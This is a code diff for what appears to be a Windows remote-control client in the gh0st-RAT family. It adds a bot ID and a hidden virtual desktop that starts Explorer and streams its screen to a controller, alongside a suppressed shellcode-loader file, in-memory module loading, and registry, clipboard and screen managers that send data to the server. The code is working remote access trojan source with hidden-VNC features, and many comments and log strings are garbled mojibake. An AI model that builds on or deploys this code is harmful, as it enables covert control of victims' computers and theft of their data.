@@ -103,26 +138,27 @@ BOOL SelectDesktop(TCHAR* name)
|
|||||||
|
|
||||||
// Did we succeed?
|
// Did we succeed?
|
||||||
if (desktop == NULL) {
|
if (desktop == NULL) {
|
||||||
return FALSE;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Switch to the new desktop
|
// Switch to the new desktop
|
||||||
if (!SelectHDESK(desktop)) {
|
if (!SelectHDESK(desktop)) {
|
||||||
// Failed to enter the new desktop, so free it!
|
// Failed to enter the new desktop, so free it!
|
||||||
CloseDesktop(desktop);
|
CloseDesktop(desktop);
|
||||||
return FALSE;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
// We successfully switched desktops!
|
// We successfully switched desktops!
|
||||||
return TRUE;
|
return desktop;
|
||||||
}
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||||
{
|
{
|
||||||
|
m_bReady = TRUE;
|
||||||
m_ClientObject = ClientObject;
|
m_ClientObject = ClientObject;
|
||||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
||||||
|
|
||||||
@@ -144,7 +180,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
|||||||
int nRet = 0;
|
int nRet = 0;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
|
||||||
}catch(...){
|
}catch(...){
|
||||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||||
};
|
};
|
||||||
@@ -153,7 +189,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
|||||||
|
|
||||||
VOID CManager::WaitForDialogOpen()
|
VOID CManager::WaitForDialogOpen()
|
||||||
{
|
{
|
||||||
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
|
WaitForSingleObject(m_hEventDlgOpen, 8000);
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep,<2C><>ΪԶ<CEAA>̴<EFBFBD><CCB4>ڴ<EFBFBD>InitDialog<6F>з<EFBFBD><D0B7><EFBFBD>COMMAND_NEXT<58><54><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>Ҫһ<D2AA><D2BB>ʱ<EFBFBD><CAB1>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep,<2C><>ΪԶ<CEAA>̴<EFBFBD><CCB4>ڴ<EFBFBD>InitDialog<6F>з<EFBFBD><D0B7><EFBFBD>COMMAND_NEXT<58><54><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>Ҫһ<D2AA><D2BB>ʱ<EFBFBD><CAB1>
|
||||||
Sleep(150);
|
Sleep(150);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,8 +12,17 @@
|
|||||||
#include "..\common\commands.h"
|
#include "..\common\commands.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
#define ENABLE_VSCREEN 1
|
||||||
|
#define ENABLE_KEYBOARD 1
|
||||||
|
|
||||||
|
HDESK SelectDesktop(TCHAR* name);
|
||||||
|
|
||||||
|
std::string GetBotId();
|
||||||
|
|
||||||
typedef IOCPClient CClientSocket;
|
typedef IOCPClient CClientSocket;
|
||||||
|
|
||||||
|
typedef IOCPClient ISocketBase;
|
||||||
|
|
||||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||||
SIZE_T dwStackSize, // initial stack size
|
SIZE_T dwStackSize, // initial stack size
|
||||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||||
@@ -25,6 +34,7 @@ class CManager : public IOCPManager
|
|||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
|
BOOL m_bReady;
|
||||||
CManager(IOCPClient* ClientObject);
|
CManager(IOCPClient* ClientObject);
|
||||||
virtual ~CManager();
|
virtual ~CManager();
|
||||||
|
|
||||||
@@ -34,7 +44,15 @@ public:
|
|||||||
VOID WaitForDialogOpen();
|
VOID WaitForDialogOpen();
|
||||||
VOID NotifyDialogIsOpen();
|
VOID NotifyDialogIsOpen();
|
||||||
|
|
||||||
|
BOOL IsConnected() const {
|
||||||
|
return m_ClientObject->IsConnected();
|
||||||
|
}
|
||||||
|
BOOL Reconnect() {
|
||||||
|
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||||
|
}
|
||||||
|
virtual void Notify() { }
|
||||||
int Send(LPBYTE lpData, UINT nSize);
|
int Send(LPBYTE lpData, UINT nSize);
|
||||||
|
virtual void SetReady(BOOL ready = true) { m_bReady = ready; }
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||||
|
|||||||
@@ -424,7 +424,7 @@ PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
default:
|
default:
|
||||||
//printf("Unknown relocation: %d\n", type);
|
// Mprintf("Unknown relocation: %d\n", type);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1180,7 +1180,7 @@ BOOL MemoryModuleTestsuite() {
|
|||||||
const uintptr_t* tests = AlignValueDownTests[idx];
|
const uintptr_t* tests = AlignValueDownTests[idx];
|
||||||
uintptr_t value = AlignValueDown(tests[0], tests[1]);
|
uintptr_t value = AlignValueDown(tests[0], tests[1]);
|
||||||
if (value != tests[2]) {
|
if (value != tests[2]) {
|
||||||
printf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
|
Mprintf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
|
||||||
tests[0], tests[1], tests[2], value);
|
tests[0], tests[1], tests[2], value);
|
||||||
success = FALSE;
|
success = FALSE;
|
||||||
}
|
}
|
||||||
@@ -1189,13 +1189,13 @@ BOOL MemoryModuleTestsuite() {
|
|||||||
const uintptr_t* tests = AlignValueUpTests[idx];
|
const uintptr_t* tests = AlignValueUpTests[idx];
|
||||||
uintptr_t value = AlignValueUp(tests[0], tests[1]);
|
uintptr_t value = AlignValueUp(tests[0], tests[1]);
|
||||||
if (value != tests[2]) {
|
if (value != tests[2]) {
|
||||||
printf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
|
Mprintf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
|
||||||
tests[0], tests[1], tests[2], value);
|
tests[0], tests[1], tests[2], value);
|
||||||
success = FALSE;
|
success = FALSE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (success) {
|
if (success) {
|
||||||
printf("OK\n");
|
Mprintf("OK\n");
|
||||||
}
|
}
|
||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,7 +13,7 @@
|
|||||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
BYTE bToken=TOKEN_REGEDIT;
|
BYTE bToken=TOKEN_REGEDIT;
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
CRegisterManager::~CRegisterManager()
|
CRegisterManager::~CRegisterManager()
|
||||||
@@ -47,7 +47,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
|||||||
char *szBuffer= Opt.FindPath();
|
char *szBuffer= Opt.FindPath();
|
||||||
if(szBuffer!=NULL)
|
if(szBuffer!=NULL)
|
||||||
{
|
{
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
@@ -55,7 +55,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
|||||||
if(szBuffer!=NULL)
|
if(szBuffer!=NULL)
|
||||||
{
|
{
|
||||||
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
8110
client/SCLoader.cpp
Normal file
8110
client/SCLoader.cpp
Normal file
File diff suppressed because it is too large
Load Diff
@@ -91,25 +91,31 @@ public:
|
|||||||
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
|
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
|
||||||
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
|
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int m_SendQuality; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
||||||
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||||
|
|
||||||
|
ULONG m_iScreenX; // <20><>ʼx<CABC><78><EFBFBD><EFBFBD>
|
||||||
|
ULONG m_iScreenY; // <20><>ʼy<CABC><79><EFBFBD><EFBFBD>
|
||||||
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
||||||
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
|
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
|
||||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||||
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||||
|
|
||||||
|
int m_biBitCount; // ÿ<><C3BF><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
|
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
|
||||||
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
|
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
|
||||||
bool m_SendKeyFrame; // <20><><EFBFBD>ؼ<CDB9>֡
|
bool m_SendKeyFrame; // <20><><EFBFBD>ؼ<CDB9>֡
|
||||||
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) :
|
||||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo),
|
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||||
|
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
|
||||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){
|
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
|
||||||
|
m_SendKeyFrame(false), m_encoder(nullptr) {
|
||||||
|
|
||||||
m_BlockNum = 8;
|
m_BlockNum = 8;
|
||||||
m_ThreadPool = new ThreadPool(m_BlockNum);
|
m_ThreadPool = new ThreadPool(m_BlockNum);
|
||||||
@@ -160,6 +166,21 @@ public:
|
|||||||
SAFE_DELETE(m_encoder);
|
SAFE_DELETE(m_encoder);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
virtual int SendQuality(int quality) {
|
||||||
|
int old = m_SendQuality;
|
||||||
|
m_SendQuality = quality;
|
||||||
|
return old;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual RECT GetScreenRect() const {
|
||||||
|
RECT rect;
|
||||||
|
rect.left = m_iScreenX;
|
||||||
|
rect.top = m_iScreenY;
|
||||||
|
rect.right = m_ulFullWidth;
|
||||||
|
rect.bottom = m_ulFullHeight;
|
||||||
|
return rect;
|
||||||
|
}
|
||||||
|
|
||||||
public:
|
public:
|
||||||
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
||||||
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||||
@@ -257,8 +278,22 @@ public:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
virtual LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight)
|
||||||
|
{
|
||||||
|
assert(biBitCount == 32);
|
||||||
|
BITMAPINFO* bmpInfo = (BITMAPINFO*) new BYTE[sizeof(BITMAPINFO)]();
|
||||||
|
bmpInfo->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||||
|
bmpInfo->bmiHeader.biWidth = biWidth;
|
||||||
|
bmpInfo->bmiHeader.biHeight = biHeight;
|
||||||
|
bmpInfo->bmiHeader.biPlanes = 1;
|
||||||
|
bmpInfo->bmiHeader.biBitCount = 32;
|
||||||
|
bmpInfo->bmiHeader.biCompression = BI_RGB;
|
||||||
|
bmpInfo->bmiHeader.biSizeImage = biWidth * biHeight * 4;
|
||||||
|
return bmpInfo;
|
||||||
|
}
|
||||||
|
|
||||||
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
|
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
|
||||||
BYTE algo = m_bAlgorithm;
|
BYTE algo = m_bAlgorithm;
|
||||||
int frameID = m_FrameID + 1;
|
int frameID = m_FrameID + 1;
|
||||||
bool keyFrame = (frameID % m_GOP == 0);
|
bool keyFrame = (frameID % m_GOP == 0);
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ private:
|
|||||||
BYTE* m_NextBuffer = nullptr;
|
BYTE* m_NextBuffer = nullptr;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) {
|
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(32, algo) {
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
InitDXGI();
|
InitDXGI();
|
||||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||||
|
|||||||
@@ -15,6 +15,8 @@
|
|||||||
|
|
||||||
#include "ScreenSpy.h"
|
#include "ScreenSpy.h"
|
||||||
#include "ScreenCapturerDXGI.h"
|
#include "ScreenCapturerDXGI.h"
|
||||||
|
#include <Shlwapi.h>
|
||||||
|
#include <shlobj_core.h>
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
@@ -43,9 +45,92 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
|||||||
{
|
{
|
||||||
m_bIsWorking = TRUE;
|
m_bIsWorking = TRUE;
|
||||||
m_bIsBlockInput = FALSE;
|
m_bIsBlockInput = FALSE;
|
||||||
|
g_hDesk = nullptr;
|
||||||
|
m_DesktopID = GetBotId();
|
||||||
|
m_ScreenSpyObject = nullptr;
|
||||||
|
m_ptrUser = (INT_PTR)user;
|
||||||
|
|
||||||
int DXGI = 0;
|
m_point = {};
|
||||||
|
m_lastPoint = {};
|
||||||
|
m_lmouseDown = FALSE;
|
||||||
|
m_hResMoveWindow = nullptr;
|
||||||
|
m_resMoveType = 0;
|
||||||
|
m_rmouseDown = FALSE;
|
||||||
|
m_rclickPoint = {};
|
||||||
|
m_rclickWnd = nullptr;
|
||||||
|
|
||||||
|
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
std::wstring ConvertToWString(const std::string& multiByteStr) {
|
||||||
|
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
|
||||||
|
if (len == 0) return L""; // ת<><D7AA>ʧ<EFBFBD><CAA7>
|
||||||
|
|
||||||
|
std::wstring wideStr(len, L'\0');
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
|
||||||
|
|
||||||
|
return wideStr;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
|
||||||
|
bool bReturn = false;
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
|
||||||
|
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||||
|
|
||||||
|
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
|
||||||
|
|
||||||
|
std::wstring path = ConvertToWString(pszApplicationFilePath);
|
||||||
|
if (!PathIsExe(path.c_str()))
|
||||||
|
return false;
|
||||||
|
PathRemoveFileSpec(szDirectoryName);
|
||||||
|
STARTUPINFO sInfo = { 0 };
|
||||||
|
PROCESS_INFORMATION pInfo = { 0 };
|
||||||
|
|
||||||
|
sInfo.cb = sizeof(sInfo);
|
||||||
|
sInfo.lpDesktop = pszDesktopName;
|
||||||
|
|
||||||
|
//Launching a application into desktop
|
||||||
|
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
TRUE,
|
||||||
|
NORMAL_PRIORITY_CLASS,
|
||||||
|
NULL,
|
||||||
|
szDirectoryName,
|
||||||
|
&sInfo,
|
||||||
|
&pInfo);
|
||||||
|
|
||||||
|
TCHAR* pszError = NULL;
|
||||||
|
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||||
|
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||||||
|
|
||||||
|
if (pszError) {
|
||||||
|
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
|
||||||
|
LocalFree(pszError); // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bCreateProcessReturn)
|
||||||
|
bReturn = true;
|
||||||
|
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
bReturn = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return bReturn;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CScreenManager::InitScreenSpy() {
|
||||||
|
int DXGI = USING_GDI;
|
||||||
BYTE algo = ALGORITHM_DIFF;
|
BYTE algo = ALGORITHM_DIFF;
|
||||||
|
BYTE* user = (BYTE*)m_ptrUser;
|
||||||
if (!(user == NULL || (int)user == 1)) {
|
if (!(user == NULL || (int)user == 1)) {
|
||||||
UserParam* param = (UserParam*)user;
|
UserParam* param = (UserParam*)user;
|
||||||
if (param) {
|
if (param) {
|
||||||
@@ -53,11 +138,36 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
|||||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||||
delete param;
|
delete param;
|
||||||
}
|
}
|
||||||
} else {
|
}
|
||||||
|
else {
|
||||||
DXGI = (int)user;
|
DXGI = (int)user;
|
||||||
}
|
}
|
||||||
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
||||||
if ((1==DXGI && IsWindows8orHigher()))
|
if (DXGI == USING_VIRTUAL) {
|
||||||
|
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||||
|
if (!hDesk) {
|
||||||
|
if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) {
|
||||||
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
|
||||||
|
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||||
|
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||||
|
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
|
||||||
|
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||||
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>[%s]!!!\n", m_DesktopID.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļʧ<EFBFBD><EFBFBD>: %s\n", m_DesktopID.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
|
||||||
|
}
|
||||||
|
if (hDesk) {
|
||||||
|
SetThreadDesktop(g_hDesk = hDesk);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((USING_DXGI == DXGI && IsWindows8orHigher()))
|
||||||
{
|
{
|
||||||
auto s = new ScreenCapturerDXGI(algo);
|
auto s = new ScreenCapturerDXGI(algo);
|
||||||
if (s->IsInitSucceed()) {
|
if (s->IsInitSucceed()) {
|
||||||
@@ -71,17 +181,16 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL);
|
||||||
}
|
}
|
||||||
|
|
||||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||||
{
|
{
|
||||||
CScreenManager *This = (CScreenManager *)lParam;
|
CScreenManager *This = (CScreenManager *)lParam;
|
||||||
|
|
||||||
|
This->InitScreenSpy();
|
||||||
|
|
||||||
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||||
|
|
||||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -154,7 +263,7 @@ VOID CScreenManager::SendBitMapInfo()
|
|||||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -251,7 +360,7 @@ VOID CScreenManager::SendClientClipboard()
|
|||||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||||
